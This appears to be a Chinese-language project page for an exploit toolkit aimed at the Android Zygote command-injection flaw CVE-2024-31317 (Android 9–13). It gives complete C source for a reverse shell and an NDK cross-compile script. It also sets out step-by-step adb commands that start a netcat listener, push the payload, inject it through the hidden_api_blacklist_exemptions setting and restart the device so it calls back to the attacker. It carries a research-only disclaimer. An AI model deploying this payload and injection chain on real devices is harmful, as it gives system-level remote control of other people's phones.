CVE-2024-31317 Android 高危命令注入漏洞利用与部署工具

2 阅读2分钟

CVE-2024-31317 Android 高危命令注入漏洞利用工具包

📋 项目概述

CVE-2024-31317 是一个影响 Android 9 至 Android 13 设备的严重安全漏洞。该漏洞允许具有 WRITE_SECURE_SETTINGS 权限的应用程序通过 hidden_api_blacklist_exemptions 设置中的换行符注入,在系统 Zygote 进程启动时获得命令执行权限,从而提升至系统级权限。

本项目提供了该漏洞的完整技术分析、概念验证代码以及自动化部署工具,用于安全研究和教育目的。

✨ 功能特性

  • 全版本覆盖:支持 Android 9、10、11、12、13 全系列受影响版本
  • 自动化编译:一键式 Shell 脚本自动交叉编译 ARM64 架构 Payload
  • 反向 Shell 连接:内置完整的反向 Shell 客户端,支持多重重试机制
  • 命令注入利用:通过 settings 命令向系统设置注入恶意负载
  • 模块化设计:Payload 源码、编译脚本、部署命令分离,便于定制
  • 深度技术文档:包含漏洞原理、利用流程、检测防护方法的完整分析

🎯 影响范围

版本状态Android 版本
✅ 受影响Android 9, 10, 11, 12, 13
❌ 不受影响Android 14+(已修复)
已安装 2024年6月及之后安全补丁的设备

前置条件:需要目标应用已获得 WRITE_SECURE_SETTINGS 权限(通常通过 ADB 或系统签名应用获取)。

📦 安装指南

系统要求

  • 操作系统:Linux x86_64(推荐 Ubuntu/Debian)
  • 依赖项
    • Android NDK(用于交叉编译)
    • ADB(Android Debug Bridge)
    • Netcat(用于监听反向连接)

环境配置

# 1. 设置 NDK 环境变量(请替换为实际路径)
export NDK_PATH=/path/to/android-ndk

# 2. 验证 NDK 工具链存在
ls $NDK_PATH/toolchains/llvm/prebuilt/linux-x86_64/bin/

克隆与编译

# 克隆项目
git clone https://github.com/fcy10012/CVE-2024-31317-Deployer.git
cd CVE-2024-31317-Deployer

# 赋予执行权限并编译
chmod +x compile.sh
./compile.sh

编译成功后,会在 bin/ 目录下生成 reverse_shell_arm64 静态链接的可执行文件。

🚀 使用说明

基础使用流程

1. 启动监听器(攻击者主机)
# 监听本地 4444 端口,等待反向连接
nc -lvnp 4444
2. 推送 Payload 至设备
# 推送编译好的反向 Shell 二进制文件
adb push bin/reverse_shell_arm64 /data/local/tmp/reverse_shell

# 赋予执行权限
adb shell chmod 755 /data/local/tmp/reverse_shell
3. 注入漏洞利用负载
# 通过 settings 命令注入恶意配置(替换 IP 和端口)
adb shell settings put global hidden_api_blacklist_exemptions "L*\n--invoke-with /data/local/tmp/reverse_shell 192.168.1.100 4444"
4. 触发漏洞
# 重启系统服务,触发 Zygote 重新加载配置
adb shell stop && adb shell start

执行后,设备将反向连接到攻击者主机的 4444 端口,返回 /system/bin/sh 交互式 Shell。

典型使用场景

  • 安全研究:验证设备是否受 CVE-2024-31317 漏洞影响
  • 渗透测试:在获得 ADB 授权后测试 Android 系统的安全性
  • 漏洞演示:展示命令注入漏洞的实际危害与利用过程

API 概览

Payload 命令行参数
reverse_shell <host> <port>
参数类型说明示例
host字符串攻击者主机 IP 地址192.168.1.100
port整数攻击者监听端口4444
编译脚本环境变量
变量必需说明
NDK_PATHAndroid NDK 安装路径,需包含 toolchains/llvm/prebuilt/linux-x86_64

💻 核心代码

反向 Shell Payload(reverse_shell.c)

完整的反向 Shell 客户端实现,支持 TCP 连接与自动重试。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define BUFFER_SIZE 4096
#define MAX_RETRIES 3

int main(int argc, char *argv[]) {
    if (argc != 3) {
        return 1;
    }
    
    char *host = argv[1];
    int port = atoi(argv[2]);
    
    // 创建 TCP socket
    int sockfd = socket(AF_INET, SOCK_STREAM, 0);
    if (sockfd < 0) return 1;
    
    // 配置目标地址结构
    struct sockaddr_in addr;
    addr.sin_family = AF_INET;
    addr.sin_port = htons(port);
    inet_pton(AF_INET, host, &addr.sin_addr);
    
    // 带重试机制连接攻击者主机
    int connected = 0;
    for (int i = 0; i < MAX_RETRIES && !connected; i++) {
        if (connect(sockfd, (struct sockaddr*)&addr, sizeof(addr)) == 0) {
            connected = 1;
        } else {
            sleep(2);
        }
    }
    
    if (!connected) return 1;
    
    // 重定向标准输入、输出、错误到 socket
    dup2(sockfd, 0);
    dup2(sockfd, 1);
    dup2(sockfd, 2);
    
    // 启动交互式 Shell
    char *args[] = {"/system/bin/sh", "-i", NULL};
    execve(args[0], args, NULL);
    
    return 0;
}

自动化编译脚本(compile.sh)

一键式交叉编译脚本,自动生成 ARM64 架构的静态链接 Payload。

#!/bin/bash
set -e

echo "[*] CVE-2024-31317 Compilation Script"

if [ -z "$NDK_PATH" ]; then
    echo "[!] NDK_PATH not set"
    exit 1
fi

TOOLCHAIN="$NDK_PATH/toolchains/llvm/prebuilt/linux-x86_64"
mkdir -p bin

echo "[*] Compiling for ARM64..."
$TOOLCHAIN/bin/aarch64-linux-android21-clang reverse_shell.c -o bin/reverse_shell_arm64 -static

echo "[+] Compilation complete!"

⚠️ 免责声明

本项目提供的所有代码和技术文档仅限用于安全研究和教育目的。使用者必须遵守所在地法律法规,未经授权对系统进行测试属于违法行为。作者(qife)不对任何滥用行为或由此造成的损害承担责任。使用本工具即表示您已阅读并同意此声明。


⭐ 如果本项目对您的安全研究有帮助,欢迎给予 Star 支持! 6HFtX5dABrKlqXeO5PUv//FBk1ZoAQLA6Jm2bYwX5MkiJBA4hJoDQzt7N91tl+Qc